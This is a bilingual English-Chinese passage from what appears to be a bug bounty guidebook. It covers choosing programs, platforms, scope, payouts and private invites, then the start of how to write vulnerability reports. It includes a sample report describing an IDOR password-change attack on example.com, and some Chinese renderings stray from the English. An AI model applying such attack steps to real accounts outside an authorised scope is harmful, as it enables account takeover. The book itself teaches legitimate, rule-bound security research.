应用程序编程接口（API）是指定其他应用程序如何与组织的资产进行交互的规范，例如检索或更改它们的数据。例如，另一个应用程序可以通过超文本传输协议（HTTP）消息到达特定的终端点来检索应用程序的数据，应用程序将以可扩展标记语言（XML）或JavaScript对象表示法（JSON）消息的格式返回数据。

Some programs put a heightened focus on API bugs in their bug bounty programs if they’re rolling out a new version of their API. A secure API implementation is key to preventing data breaches and protecting customer data. Hacking APIs requires many of the same skills as hacking web applications, mobile applications, and IoT applications. But when testing APIs, you should focus on common API bugs like data leaks and injection flaws.

一些程序将在其漏洞赏金计划中加大对API漏洞的重视，尤其是当他们推出新版本的API时。安全的API实现对于防止数据泄露和保护客户数据非常重要。黑客攻击API需要许多与黑客攻击Web应用程序、移动应用程序和物联网应用程序相同的技能。但在测试API时，应集中关注常见的API漏洞，如数据泄漏和注入漏洞。

Source Code and Executables

If you have more advanced programming and reversing skills, you can give source code and executable programs a try. These programs encourage hackers to find vulnerabilities in an organization’s software by directly providing hackers with an open source codebase or the binary executable. Examples include the Internet Bug Bounty, the program for the PHP language, and the WordPress program.

如果你具备更高级的编程和逆向技能，可以尝试使用源代码和可执行程序。这些程序直接为黑客提供开源代码库或二进制可执行文件，鼓励他们发现组织软件中的漏洞。例如，Internet Bug Bounty、PHP语言程序和WordPress程序等。

Hacking these programs can entail analyzing the source code of open source projects for web vulnerabilities and fuzzing binaries for potential exploits. You usually have to understand coding and computer science concepts to be successful here. You’ll need knowledge of web vulnerabilities, programming skills related to the project’s codebase, and code analysis skills. Cryptography, software development, and reverse engineering skills are helpful.

侵入这些程序可能涉及分析开源项目的源代码，以查找Web漏洞，并对潜在的漏洞进行模糊测试。在此，您通常需要了解编码和计算机科学概念才能成功。您需要了解Web漏洞，与项目代码库相关的编程技能以及代码分析技能。加密，软件开发和反向工程技能也会有所帮助。

Source code programs may sound intimidating, but keep in mind that they’re diverse, so you have many to choose from. You don’t have to be a master programmer to hack these programs; rather, aim for a solid understanding of the project’s tech stack and underlying architecture. Because these programs tend to require more skills, they are less competitive, and only a small proportion of hackers will ever attempt them.

源代码程序可能听起来很可怕，但请记住它们是多样的，所以你有很多选择。你不必成为一名高手程序员来攻击这些程序; 相反，目标是对项目的技术堆栈和基础架构有扎实的了解。因为这些程序往往需要更多的技能，它们竞争力较小，只有少部分黑客会尝试攻击它们。

Hardware and IoT

Last but not least are hardware and IoT programs. These programs ask you to hack devices like cars, smart televisions, and thermostats. Examples include the bug bounty programs of Tesla and Ford Motor Company.

最后还有硬件和物联网项目。这些项目要求你攻击诸如汽车、智能电视和恒温器等设备。例如特斯拉和福特汽车的漏洞赏金计划。

You’ll need highly specific skills to hack these programs: you’ll often have to acquire a deep familiarity with the type of device that you’re hacking, in addition to understanding common IoT vulnerabilities. You should know about web vulnerabilities, programming, code analysis, and reverse engineering. Also, study up on IoT concepts and industry standards such as digital signing and asymmetric encryption schemes. Finally, cryptography, wireless hacking, and software development skills will be helpful too.

你需要具备高度具体的技能才能攻击这些程序: 你经常需要深入了解你要攻击的设备类型，以及理解常见的物联网漏洞。你应该了解网络漏洞、编程、代码分析和逆向工程。此外，学习物联网概念和行业标准，如数字签名和非对称加密方案。最后，密码学、无线网络攻击和软件开发技能也会很有帮助。

Although some programs will provide you with a free device to hack, that often applies to only the select hackers who’ve already established a relationship with the company. To begin hacking on these programs, you might need the funds to acquire the device on your own.

虽然一些程序可能提供免费的设备供你使用，但这通常只适用于已经与公司建立关系的特定黑客。要开始在这些程序上进行黑客攻击，你可能需要自己拥有获取设备的资金。

Since these programs require specialized skills and a device, they tend to be the least competitive.

由于这些程序需要专业技能和设备，它们往往是竞争最少的。

Bug Bounty Platforms

Companies can host bug bounty programs in two ways: bug bounty platforms and independently hosted websites.

公司可以通过两种方式托管漏洞悬赏计划：漏洞悬赏平台和独立托管的网站。

Bug bounty platforms are websites through which many companies host their programs. Usually, the platform directly awards hackers with reputation points and money for their results. Some of the largest bug bounty platforms are HackerOne, Bugcrowd, Intigriti, Synack, and Cobalt.

漏洞赏金平台是许多公司托管其项目的网站。通常，该平台直接授予黑客声誉积分和金钱作为奖励。一些最大的漏洞赏金平台是HackerOne，Bugcrowd，Intigriti，Synack和Cobalt。

Bug bounty platforms are an intermediary between hackers and security teams. They provide companies with logistical assistance for tasks like payment and communication. They also often offer help managing the incoming reports by filtering, deduplicating, and triaging bug reports for companies. Finally, these platforms provide a way for companies to gauge a hacker’s skill level via hacker statistics and reputation. This allows companies that do not wish to be inundated with low-quality reports to invite experienced hackers to their private programs. Some of these platforms also screen or interview hackers before allowing them to hack on programs.

漏洞赏金平台是黑客和安全团队之间的中介机构。他们提供物流协助，如支付和通信等任务的公司。他们还经常提供帮助，通过过滤、去重和筛选漏洞报告来管理来自公司的报告。最后，这些平台通过黑客统计和声誉提供一种公司评估黑客技能水平的方法。这使得那些不希望被低质量报告淹没的公司可以邀请经验丰富的黑客参加他们的私人计划。其中一些平台还会在允许他们攻击计划之前对黑客进行筛选或面试。

From the hacker’s perspective, bug bounty platforms provide a centralized place to submit reports. They also offer a seamless way to get recognized and paid for your findings.

从黑客的角度来看，漏洞赏金平台提供了一个集中的地方来提交报告。它们还提供了一种轻松的方式来获得对您的发现的认可和报酬。

On the other hand, many organizations host and manage their bug bounty programs without the help of platforms. Companies like Google, Facebook, Apple, and Medium do this. You can find their bug bounty policy pages by visiting their websites, or by searching “ CompanyName bug bounty program” online.

另一方面，许多组织在没有平台的帮助下托管和管理他们的漏洞悬赏程序。像谷歌、Facebook、苹果和Medium这样的公司就是这样做的。您可以通过访问他们的网站或在网上搜索“CompanyName漏洞悬赏计划”来找到他们的漏洞悬赏政策页面。

As a bug bounty hunter, should you hack on a bug bounty platform? Or should you go for companies’ independently hosted programs?

作为一名悬赏赏金猎人，你应该在Bug悬赏平台上进行攻击吗？还是应该去攻击公司独立托管的程序？

The Pros . . .

The best thing about bug bounty platforms is that they provide a lot of transparency into a company’s process, because they post disclosed reports, metrics about the programs’ triage rates, payout amounts, and response times. Independently hosted programs often lack this type of transparency. In the bug bounty world, triage refers to the confirmation of vulnerability.

漏洞赏金平台的最大优点在于它们为公司的流程提供了很多透明度，因为它们发布了已披露的报告，关于程序分类率、支付金额和响应时间的指标。独立托管的程序通常缺乏这种透明度。在漏洞赏金世界中，分类是指漏洞确认的过程。

You also won’t have to worry about the logistics of emailing security teams, following up on reports, and providing payment and tax info every time you submit a vulnerability report. Bug bounty programs also often have reputation systems that allow you to showcase your experience so you can gain access to invite-only bug bounty programs.

你也不必担心电邮安全团队的物流问题、跟进报告、每次提交漏洞报告时提供付款和税收信息。漏洞赏金计划通常还有声誉系统，让你展示经验，因此可以获得邀请制的漏洞赏金计划的入场资格。

Another pro of bug bounty platforms is that they often step in to provide conflict resolution and legal protection as a third party. If you submit a report to a non-platform program, you have no recourse in the final bounty decision. Ultimately, you can’t always expect companies to pay up or resolve reports in the current state of the industry, but the hacker-to-hacker feedback system that platforms provide is helpful.

Bug赏金平台的另一个优点是它们通常作为第三方介入，提供冲突解决和法律保护。如果您向非平台计划提交报告，则在最终赏金决定中没有追索权。最终，您并不能总是期望公司支付或解决报告在当前行业状态下的问题，但平台提供的黑客反馈系统是有帮助的。

. . . and the Cons

However, some hackers avoid bug bounty platforms because they dislike how those platforms deal with reports. Reports submitted to platform-managed bug bounty programs often get handled by triagers , third-party employees who often aren’t familiar with all the security details about a company’s product. Complaints about triagers handling reports improperly are common.

然而，一些黑客避开漏洞赏金平台，因为他们不喜欢这些平台处理报告的方式。提交给平台管理的漏洞赏金计划的报告通常由筛选员处理，这些第三方员工通常不熟悉公司产品的所有安全细节。有关筛选员不当处理报告的投诉很普遍。

Programs on platforms also break the direct connection between hackers and developers. With a direct program, you often get to discuss the vulnerability with a company’s security engineers, making for a great learning experience.

平台上的程序也会破坏黑客和开发人员之间的直接联系。对于直接的程序，您经常可以与公司的安全工程师讨论漏洞，从而获得很好的学习经验。

Finally, public programs on bug bounty platforms are often crowded, because the platform gives them extra exposure. On the other hand, many privately hosted programs don’t get as much attention from hackers and are thus less competitive. And for the many companies that do not contract with bug bounty platforms, you have no choice but to go off platforms if you want to participate in their programs.

“最后，漏洞赏金平台上的公开计划通常很拥挤，因为平台为它们提供了额外的曝光率。另一方面，许多私人托管的计划得不到来自黑客的太多关注，因此竞争较少。对于许多不与漏洞赏金平台签约的公司，如果您想参加他们的计划，您别无选择，只能离开平台。”

Scope, Payouts, and Response Times

What other metrics should you consider when picking a program, besides its asset types and platform? On each bug bounty program’s page, metrics are often listed to help you assess the program. These metrics give insight into how easily you might be able to find bugs, how much you might get paid, and how well the program operates.

除资产类型和平台之外，选择方案时应考虑哪些其他指标？在每个漏洞赏金计划的页面上，通常列出了一些指标来帮助您评估该计划。这些指标揭示了您可能能够轻松发现漏洞的难度程度、您可能获得的报酬金额以及该程序运行的程度。

Program Scope

First, consider the scope. A program’s scope on its policy pages specifies what and how you are allowed to hack. There are two types of scopes: asset and vulnerability. The asset scope tells you which subdomain, products, and applications you can hack. And the vulnerability scope specifies which vulnerabilities the company will accept as valid bugs.

首先考虑范围。一个程序在其策略页面上的范围指定了您被允许进行攻击的内容和方式。两种类型的范围：资产和漏洞。资产范围告诉您可以攻击哪些子域、产品和应用程序。而漏洞范围指定公司将接受哪些漏洞作为有效的错误。

For example, the company might list the subdomains of its website that are in and out of scope:

例如，公司可能列出其网站的子域名，明确界定在范围内和范围外的内容：

In-scope assets

范围内的资产

a.example.com

b.example.com

c.example.com

users.example.com

landing.example.com

Out-of-scope assets

超出范围的资产

dev.example.com

test.example.com

Assets that are listed as in scope are the ones that you are allowed to hack. On the other hand, assets that are listed as out of scope are off-limits to bug bounty hunters. Be extra careful and abide by the rules! Hacking an out-of-scope asset is illegal.

在范围内的资产是你被允许攻击的资产。另一方面，被列为不在范围内的资产是禁止赏金猎人攻击的。请格外小心并遵守规定！攻击不在范围内的资产是违法的。

The company will also often list the vulnerabilities it considers valid bugs:

公司还经常列出其认为有效的漏洞：

In-scope vulnerabilities

在范围内的漏洞

All except the ones listed as out of scope

Out-of-scope vulnerabilities

超出范围的漏洞

Self-XSS

Clickjacking

Missing HTTP headers and other best practices without direct security impact

Denial-of-service attacks

Use of known-vulnerable libraries, without proof of exploitability

Results of automated scanners, without proof of exploitability

The out-of-scope vulnerabilities that you see in this example are typical of what you would find in bug bounty programs. Notice that many programs consider non-exploitable issues, like violations of best practice, to be out of scope.

在此示例中看到的超出范围漏洞是赏金计划中常见的。请注意，许多计划认为不可利用的问题（如违反最佳实践）超出了范围。

Any program with large asset and vulnerability scopes is a good place to start for a beginner. The larger the asset scope, the larger the number of target applications and web pages you can look at. When a program has a big asset scope, you can often find obscure applications that are overlooked by other hackers. This typically means less competition when reporting bugs.

任何覆盖范围大且具有易受攻击性的程序对初学者来说都是一个良好的起点。资产范围越大，你能够察看的目标应用程序和网页就越多。当一个程序覆盖范围较广时，你通常可以找到其他黑客忽略的不常见的应用程序。这意味着在报告漏洞时会有更少的竞争。

The larger the vulnerability scope, the more types of bugs the organization is willing to hear reports about. These programs are a lot easier to find bugs in, because you have more opportunities, and so can play to your strengths.

随着风险范围的扩大，组织愿意接受关于更多类型的漏洞报告。这些程序更容易发现漏洞，因为您有更多机会，可以发挥自己的优势。

Payout Amounts

The next metric you should consider is the program’s payout amounts . There are two types of payment programs: vulnerability disclosure programs (VDPs) and bug bounty programs .

你需要考虑的下一个指标是该计划的支付金额。有两种支付方案：漏洞披露计划（VDP）和漏洞赏金计划。

VDPs are reputation-only programs , meaning they do not pay for findings but often offer rewards such as reputation points and swag. They are a great way to learn about hacking if making money is not your primary objective. Since they don’t pay, they’re less competitive, and so easier to find bugs in. You can use them to practice finding common vulnerabilities and communicating with security engineers.

VDP是仅限声誉的计划，意味着它们不支付发现费用，但通常提供声誉点和赠品等奖励。如果赚钱不是您的主要目标，它们是学习黑客的绝佳方式。由于它们不支付，竞争性更弱，因此更容易发现漏洞。您可以使用它们来练习查找常见的漏洞并与安全工程师沟通。

On the other hand, bug bounty programs offer varying amounts of monetary rewards for your findings. In general, the more severe the vulnerability, the more the report will pay. But different programs have different payout averages for each level of severity. You can find a program’s payout information on its bug bounty pages, usually listed in a section called the payout table. Typically, low-impact issues will pay anywhere from $50 to $500 (USD), while critical issues can pay upward of $10,000. However, the bug bounty industry is evolving, and payout amounts are increasing for high-impact bugs. For example, Apple now rewards up to $1 million for the most severe vulnerabilities.

另一方面，漏洞赏金计划为您发现的漏洞提供不同金额的奖励。一般来说，漏洞越严重，报告所得的酬金就越高。但不同的计划对于不同严重程度的漏洞，有着不同的平均赔付标准。您可以在漏洞赏金页面上找到计划的赔付信息，通常是在一个称为赔付表的部分中列出。通常来说，低影响的问题可以获得50到500美元（美元）的奖励，而严重的问题可以获得超过10,000美元的奖励。然而，漏洞赏金行业正在发展，对于高影响漏洞的奖励金额也越来越高。例如，苹果现在可以为最严重的漏洞奖励高达100万美元。

Response Time

Finally, consider the program’s average response time . Some companies will handle and resolve your reports within a few days, while others take weeks or even months to finalize their fixes. Delays often happen because of the security team’s internal constraints, like a lack of personnel to handle reports, a delay in issuing security patches, and a lack of funds to timely reward researchers. Sometimes, delays happen because researchers have sent bad reports without clear reproduction steps.

最后，请考虑该程序的平均响应时间。有些公司可以在几天内处理和解决您的报告，而另一些公司可能需要数周甚至数月才能完成修复。延迟通常是由于安全团队的内部限制引起的，比如缺乏处理报告的人员、发布安全补丁的延迟以及缺乏及时奖励研究人员的资金。有时，延迟是因为研究人员发送了没有明确重现步骤的错误报告。

Prioritize programs with fast response times. Waiting for responses from companies can be a frustrating experience, and when you first start, you’re going to make a lot of mistakes. You might misjudge the severity of a bug, write an unclear explanation, or make technical mistakes in the report. Rapid feedback from security teams will help you improve, and turn you into a competent hacker faster.

优先给速度响应快的项目排序。等待公司的回应可能会让你感到沮丧，特别是在你刚开始的时候，你会犯很多错误。你可能会错判一个漏洞的严重程度、写得不清楚或在报告中犯技术错误。安全团队的快速反馈将帮助你提高，并更快地成为一名合格的黑客。

Private Programs

Most bug bounty platforms distinguish between public and private programs.

大部分漏洞赏金平台区分公开和私人项目。

Public programs are those that are open to all; anyone can hack and submit bugs to these programs, as long as they abide by the laws and the bug bounty program’s policies.

公共计划是对所有人开放的；只要遵守法律和漏洞赏金计划的政策，任何人都可以黑入并提交漏洞。

On the other hand, private programs are open to only invited hackers. For these, companies ask hackers with a certain level of experience and a proven track record to attack the company and submit bugs to it. Private programs are a lot less competitive than public ones because of the limited number of hackers participating. Therefore, it’s much easier to find bugs in them. Private programs also often have a much faster response time, because they receive fewer reports on average.

另一方面，私人计划仅向被邀请的黑客开放。对于这些私人计划，公司会邀请具有一定经验和已证明攻击该公司并提交错误的黑客。由于参与黑客的数量有限，私人计划的竞争要少得多。因此，在私人计划中更容易找到错误。私人计划通常也有更快的响应时间，因为它们平均接收到更少的错误报告。

Participating in private programs can be extremely advantageous. But how do you get invited to one? Figure 1-1 shows a private invitation notification on the HackerOne platform.

参与私人计划可以非常有利。但是如何获得邀请呢？图1-1显示了HackerOne平台上的私人邀请通知。

Figure 1-1 : A private invitation notification on the HackerOne platform. When you hack on a bug bounty platform, you can often get invites to the private programs of different companies.

图1-1：HackerOne平台上的私人邀请通知。当你在一个漏洞赏金平台上进行攻击时，你经常会收到来自不同公司私人计划的邀请。

Companies send private invites to hackers who have proven their abilities in some way, so getting invites to private programs isn’t difficult once you’ve found a couple of bugs. Different bug bounty platforms will have different algorithms to determine who gets the invites, but here are some tips to help you get there.

公司会向已经证明其能力的黑客发送私人邀请，因此一旦你发现了几个漏洞，获得私人计划的邀请并不困难。不同的漏洞赏金平台将有不同的算法来确定谁会获得邀请，但以下是一些提示，可帮助您实现该目标。

First, submit a few bugs to public programs. To get private invites, you often need to gain a certain number of reputation points on a platform, and the only way to begin earning these is to submit valid bugs to public programs. You should also focus on submitting high-impact vulnerabilities. These vulnerabilities will often reward you with higher reputation points and help you get private invites faster. In each of the chapters in Part II of this book, I make suggestions for how you can escalate the issues you discover to craft the highest-impact attacks. On some bug bounty platforms, like HackerOne, you can also get private invites by completing tutorials or solving Capture the Flag (CTF) challenges.

首先，要提交一些针对公共程序的漏洞。要获得私人邀请，通常需要在平台上获得一定数量的声望点数，而开始获得这些点数的唯一方式就是提交有效的公共程序漏洞。你还应该专注于提交高影响漏洞。这些漏洞通常会奖励你更高的声望点数，并帮助你更快地获得私人邀请。在本书第二部分的每一章中，我都提出建议，让你能够升级你发现的问题，从而制定最高影响的攻击方法。在一些漏洞赏金平台上，比如HackerOne，你还可以通过完成教程或解决Capture the Flag（CTF）挑战来获得私人邀请。

Next, don’t spam. Submitting nonissues often causes a decrease in reputation points. Most bug bounty platforms limit private invites to hackers with points above a certain threshold.

接下来，禁止垃圾邮件。经常提交非问题会导致声誉点数下降。大多数漏洞赏金平台将私人邀请限制在具有一定门槛分数以上的黑客。

Finally, be polite and courteous when communicating with security teams. Being rude or abusive to security teams will probably get you banned from the program and prevent you from getting private invites from other companies.

在与安全团队交流时，请最终保持礼貌和谦恭。对安全团队粗鲁或滥用者将有可能导致您被禁止参加计划，并阻止您获得其他公司的私人邀请。

Choosing the Right Program

Bug bounties are a great way to gain experience in cybersecurity and earn extra bucks. But the industry has been getting more competitive. As more people are discovering these programs and getting involved in hacking on them, it’s becoming increasingly difficult for beginners to get started. That’s why it’s important to pick a program that you can succeed in from the very start.

漏洞赏金计划是获得网络安全经验并赚取额外收入的绝佳途径。但是该行业变得越来越竞争。随着越来越多的人发现并参与其中，越来越难让初学者入手了。因此，选择一个能在一开始就成功的计划非常重要。

Before you develop a bug hunter’s intuition, you often have to rely on low-hanging fruit and well-known techniques. This means many other hackers will be able to find the same bugs, often much faster than you can. It’s therefore a good idea to pick a program that more experienced bug hunters pass over to avoid competition. You can find these underpopulated programs in two ways: look for unpaid programs or go for programs with big scopes.

在你拥有“虫子猎手”的直觉之前，你通常需要依赖易于发现的漏洞和众所周知的技巧。这意味着许多其他黑客可以更快地发现相同的漏洞，甚至比你还要快。因此，选择一些有经验的虫子猎手忽略的程序来避免竞争是个好主意。你可以通过两种方式找到这些少有人参与的程序：寻找未付费的计划或寻找范围大的计划。

Try going for vulnerability disclosure programs first. Unpaid programs are often ignored by experienced bug hunters, since they don’t pay monetary rewards. But they still earn you points and recognition! And that recognition might be just what you need to get an invite to a private, paid program.

试着先参加漏洞披露计划。有偿计划常常被经验丰富的漏洞猎人所重视，而无偿计划则常常被忽略。但是无偿计划依旧可以为您赢得积分和认可！并且可能正是这些认可让您获得邀请参加私人有偿计划的机会。

Picking a program with a large scope means you’ll be able to look at a larger number of target applications and web pages. This dilutes the competition, as fewer hackers will report on any single asset or vulnerability type. Go for programs with fast response times to prevent frustration and get feedback as soon as possible.

选择范围广的项目意味着您可以查看更多的目标应用程序和网页。这会稀释竞争，因为较少的黑客会报告任何单个资产或漏洞类型。选择响应速度快的程序以防止沮丧并尽快获取反馈。

One last thing that you can incorporate into your decision process is the reputation of the program. If you can, gather information about a company’s process through its disclosed reports and learn from other hackers’ experiences. Does the company treat its reporters well? Are they respectful and supportive? Do they help you learn? Pick programs that will be supportive while you are still learning, and programs that will reward you for the value that you provide.

你决策过程中还需要考虑的一件事是项目的声誉。如果可以，通过公开报告收集关于公司的信息，并从其他黑客的经验中学习。公司是否公正尊重举报人？他们是否支持举报人学习？选择那些在你学习时能够提供支持和为你提供价值回报的项目。

Choosing the right program for your skill set is crucial if you want to break into the world of bug bounties. This chapter should have helped you sort out the various programs that you might be interested in. Happy hacking!

选择适合你技能的程序非常关键，如果想要进入漏洞赏金的世界。本章应该帮助你筛选出你可能感兴趣的各种程序。祝你愉快的黑客之旅！

A Quick Comparison of Popular Programs

After you’ve identified a few programs that you are interested in, you could list the properties of each one to compare them. In Table 1-1 , let’s compare a few of the popular programs introduced in this chapter.

在确定了感兴趣的几个计划后，您可以列出每个计划的属性进行比较。在表1-1中，让我们比较本章介绍的几个热门计划。

Table 1-1 : A Comparison of Three Bug Bounty Programs: HackerOne, Facebook, and GitHub

表格1-1：三个漏洞赏金计划的比较：HackerOne、Facebook和GitHub。

Program
Asset type
In scope
Payout amount
Response time

HackerOne
Social site
https://hackerone.com/
https://api.hackerone.com
*.vpn.hackerone.net
https://www.hackerone.com
And more assets . . .
Any vulnerability except exclusions are in scope.
$500–$15,000+
Fast. Average time to response is 5 hours. Average time to triage is 15 hours.

Facebook
Social site, nonsocial site, mobile site, IoT, and source code
Instagram
Internet.org / Free Basics
Oculus
Workplace
Open source projects by Facebook
WhatsApp
Portal
FBLite
Express Wi-Fi
Any vulnerability except exclusions are in scope.
$500 minimum
Based on my experience, pretty fast!

GitHub
Social site
https://blog.github.com/
https://community.github.com/
http://resources.github.com/
And more assets . . .
Use of known-vulnerable software.
Clickjacking a static site.
Including HTML in Markdown content.
Leaking email addresses via .patch links.
And more issues . . .
$617–$30,000
Fast. Average time to response is 11 hours. Average time to triage is 23 hours.

2
Sustaining Your Success

Even if you understand the technical information in this book, you may have difficulty navigating the nuances of bug bounty programs. Or you might be struggling to actually locate legitimate bugs and aren’t sure why you’re stuck. In this chapter, we’ll explore some of the factors that go into making a successful bug bounty hunter. We’ll cover how to write a report that properly describes your findings to the security team, build lasting relationships with the organizations you work with, and overcome obstacles during your search for bugs.

即使您理解了本书中的技术信息，您可能会在利用漏洞赏金计划的微妙之处方面遇到困难。或者您可能正在努力实际定位合法漏洞，却不确定为什么会陷入困境。在本章中，我们将探讨成功的漏洞赏金猎人所需要具备的一些因素。我们将介绍如何编写报告，将您的发现正确地描述给安全团队，与您合作的组织建立持久的关系，并在寻找漏洞的过程中克服障碍。

Writing a Good Report

A bug bounty hunter’s job isn’t just finding vulnerabilities; it’s also explaining them to the organization’s security team. If you provide a well-written report, you’ll help the team you’re working with reproduce the exploit, assign it to the appropriate internal engineering team, and fix the issue faster. The faster a vulnerability is fixed, the less likely malicious hackers are to exploit it. In this section, I’ll break down the components of a good vulnerability report and introduce some tips and tricks I’ve learned along the way.

一个漏洞赏金猎人的工作不仅是寻找漏洞，而且还需要向组织的安全团队解释它们。如果您提供一个写得很好的报告，您将帮助您正在与之合作的团队重现漏洞、将其分配给适当的内部工程团队并更快地修复问题。漏洞被解决得越快，恶意黑客利用漏洞的可能性就越小。在本节中，我将分解一个好的漏洞报告的组成部分，并介绍我学到的一些技巧和诀窍。

Step 1: Craft a Descriptive Title

The first part of a great vulnerability report is always a descriptive title. Aim for a title that sums up the issue in one sentence. Ideally, it should allow the security team to immediately get an idea of what the vulnerability is, where it occurred, and its potential severity. To do so, it should answer the following questions: What is the vulnerability you’ve found? Is it an instance of a well-known vulnerability type, such as IDOR or XSS? Where did you find it on the target application?

一份良好的漏洞报告的第一部分总是一个描述性的标题。标题应该简洁概括问题，并尽可能的让安全团队立刻明确漏洞所在，其影响和潜在程度。为了做到这一点，它应该回答以下问题：你发现的漏洞是什么？它是否属于IDOR或XSS等已知漏洞类型？在目标应用程序的哪里发现它？

For example, instead of a report title like “IDOR on a Critical Endpoint,” use one like “IDOR on https://example.com/change_password Leads to Account Takeover for All Users.” Your goal is to give the security engineer reading your report a good idea of the content you’ll discuss in the rest of it.

例如，可以使用“https://example.com/change_password上的IDOR导致所有用户的账户接管”这样的报告标题，而非“关键端点上的IDOR”。您的目标是让阅读报告的安全工程师对您接下来要讨论的内容有一个良好的了解。

Step 2: Provide a Clear Summary

Next, provide a report summary. This section includes all the relevant details you weren’t able to communicate in the title, like the HTTP request parameters used for the attack, how you found it, and so on.

接下来，提供报告摘要。此部分包括所有相关的细节，您在标题中无法传达，比如用于攻击的HTTP请求参数，您是如何发现它的等等。

Here’s an example of an effective report summary:

以下是一份有效报告摘要的例子：

The https://example.com/change_password endpoint takes two POST body parameters: user_id and new_password . A POST request to this endpoint would change the password of user user_id to new_password . This endpoint is not validating the user_id parameter, and as a result, any user can change anyone else’s password by manipulating the user_id parameter.

https://example.com/change_password端点需要两个POST请求体参数：user_id和new_password。对此端点的POST请求将把用户user_id的密码更改为new_password。此端点未验证user_id参数，因此任何用户都可以通过操作user_id参数来更改其他任何人的密码。

A good report summary is clear and concise. It contains all the information needed to understand a vulnerability, including what the bug is, where the bug is found, and what an attacker can do when it’s exploited.

一个好的报告摘要应该清晰简明。它包含了理解某个漏洞所需的所有信息：包括bug是什么，它在哪里被发现，以及攻击者在利用该漏洞时会做些什么。

Step 3: Include a Severity Assessment

Your report should also include an honest assessment of the bug’s severity. In addition to working with you to fix vulnerabilities, security teams have other responsibilities to tend to. Including a severity assessment will help them prioritize which vulnerabilities to fix first, and ensure that they take care of critical vulnerabilities right away.

你的报告还应包括漏洞的严重程度诚恳的评估。除了与你合作修复漏洞外，安全团队还有其他职责需要注意。包括漏洞严重性评估将有助于他们优先处理哪些漏洞，并确保立即处理重要漏洞。

You could use the following scale to communicate severity:

您可以使用以下标尺来沟通严重程度：

Low severity

低严重性

The bug doesn’t have the potential to cause a lot of damage. For example, an open redirect that can be used only for phishing is a low-severity bug.

这个漏洞没有潜在的能力造成很大的损害。例如，只能用于网络钓鱼的开放重定向是低严重性漏洞。

Medium severity

中等严重性

The bug impacts users or the organization in a moderate way, or is a high-severity issue that’s difficult for a malicious hacker to exploit. The security team should focus on high- and critical-severity bugs first. For example, a cross-site request forgery (CSRF) on a sensitive action such as password change is often considered a medium-severity issue.

漏洞对用户或组织的影响较为中等，或者是一个高严重性问题，不易被恶意黑客利用。安全团队应该首先关注高和严重的漏洞。例如，对于敏感操作（如密码更改）的跨站点请求伪造（CSRF）通常被视为中等严重性问题。

High severity

高严重性

The bug impacts a large number of users, and its consequences can be disastrous for these users. The security team should fix a high-security bug as soon as possible. For example, an open redirect that can be used to steal OAuth tokens is a high-severity bug.

该漏洞影响大量用户，其后果可能对这些用户造成灾难性的影响。安全团队应该尽快修复高安全性漏洞。例如，一个可用于窃取OAuth令牌的开放重定向是一种高危漏洞。

Critical severity

重要性严重

The bug impacts a majority of the user base or endangers the organization’s core infrastructure. The security team should fix a critical-severity bug right away. For example, a SQL injection leading to remote code execution (RCE) on the production server will be considered a critical issue.

Bug影响到大多数用户或危及组织的核心基础设施。安全团队应立即修复关键性缺陷。例如，在生产服务器上导致远程代码执行（RCE）的SQL注入将被视为关键问题。

Study the Common Vulnerability Scoring System ( CVSS ) at https://www.first.org/cvss/ for a general idea of how critical each type of vulnerability is. The CVSS scale takes into account factors such as how a vulnerability impacts an organization, how hard the vulnerability is to exploit, and whether the vulnerability requires any special privileges or user interaction to exploit.

学习通用漏洞评分系统（CVSS）https://www.first.org/cvss/ 以了解每种漏洞的严重程度。CVSS评分考虑了漏洞对组织的影响、漏洞的利用难度以及漏洞是否需要特殊权限或用户交互才能利用等因素。

Then, try to imagine what your client company cares about, and which vulnerabilities would present the biggest business impact. Customize your assessment to fit the client’s business priorities. For example, a dating site might find a bug that exposes a user’s birth date as inconsequential, since a user’s age is already public information on the site, while a job search site might find a similar bug significant, because an applicant’s age should be confidential in the job search process. On the other hand, leaks of users’ banking information are almost always considered a high-severity issue.

那么，试着想象一下你的客户公司关心什么，以及哪些漏洞可能会对业务产生最大的影响。将您的评估定制以适应客户的业务优先级。例如，约会网站可能会发现暴露用户出生日期的漏洞并不重要，因为用户的年龄已经是公共信息，而求职网站可能会发现类似的漏洞非常重要，因为申请人的年龄应该在求职过程中保密。另一方面，用户银行信息的泄露几乎总是被认为是高度严重的问题。

If you’re unsure which severity rating your bug falls into, use the rating scale of a bug bounty platform. For example, Bugcrowd’s rating system takes into account the type of vulnerability and the affected functionality ( https://bugcrowd.com/vulnerability-rating-taxonomy/ ), and HackerOne provides a severity calculator based on the CVSS scale ( https://docs.hackerone.com/hackers/severity.html ).

如果您不确定您的漏洞属于哪个严重级别，请使用漏洞赏金平台的评级标准。例如，Bugcrowd的评估系统考虑到漏洞类型和受影响的功能（https://bugcrowd.com/vulnerability-rating-taxonomy/），而HackerOne则基于CVSS标准提供了一个严重性计算器（https://docs.hackerone.com/hackers/severity.html）。

You could list the severity in a single line, as follows:

你可以将严重程度列在单行中，如下所示：

Severity of the issue: High

问题的严重程度：高

Providing an accurate assessment of severity will make everyone’s lives easier and contribute to a positive relationship between you and the security team.

提供准确的严重性评估将使每个人的生活更容易，并促进您与安全团队之间的积极关系。

Step 4: Give Clear Steps to Reproduce

Next, provide step-by-step instructions for reproducing the vulnerability. Include all relevant setup prerequisites and details you can think of. It’s best to assume the engineer on the other side has no knowledge of the vulnerability and doesn’t know how the application works.

请提供重现漏洞的逐步说明。包括所有相关的设置前提条件和您可以想到的细节。最好假设另一边的工程师不知道漏洞，也不知道应用程序如何工作。

For example, a merely okay report might include the following steps to reproduce:

例如，一个仅仅还可以的报告可能包括以下重现步骤：

Log in to the site and visit https://example.com/change_password .

Click the Change Password button.

Intercept the request, and change the user_id parameter to another user’s ID.

Notice that these steps aren’t comprehensive or explicit. They don’t specify that you need two test accounts to test for the vulnerability. They also assume that you have enough knowledge about the application and the format of its requests to carry out each step without more instructions.

请注意，这些步骤不是全面或明确的。它们没有说明你需要两个测试帐户来测试漏洞。它们还假定你已经具有足够的关于应用程序和其请求格式的知识，可以在没有更多指示的情况下执行每个步骤。

Now, here is an example from a better report:

现在，这里有一个来自更好的报告的例子：

Make two accounts on example.com : account A and account B.

Log in to example.com as account A, and visit https://example.com/change_password .

Fill in the desired new password in the New password field, located at the top left of the page.

Click the Change Password button located at the top right of the page.

Intercept the POST request to https://example.com/change_password and change the user_id POST parameter to the user ID of account B.

You can now log in to account B by using the new password you’ve chosen.

Although the security team will probably still understand the first report, the second report is a lot more specific. By providing many relevant details, you can avoid any misunderstanding and speed up the mitigation process.

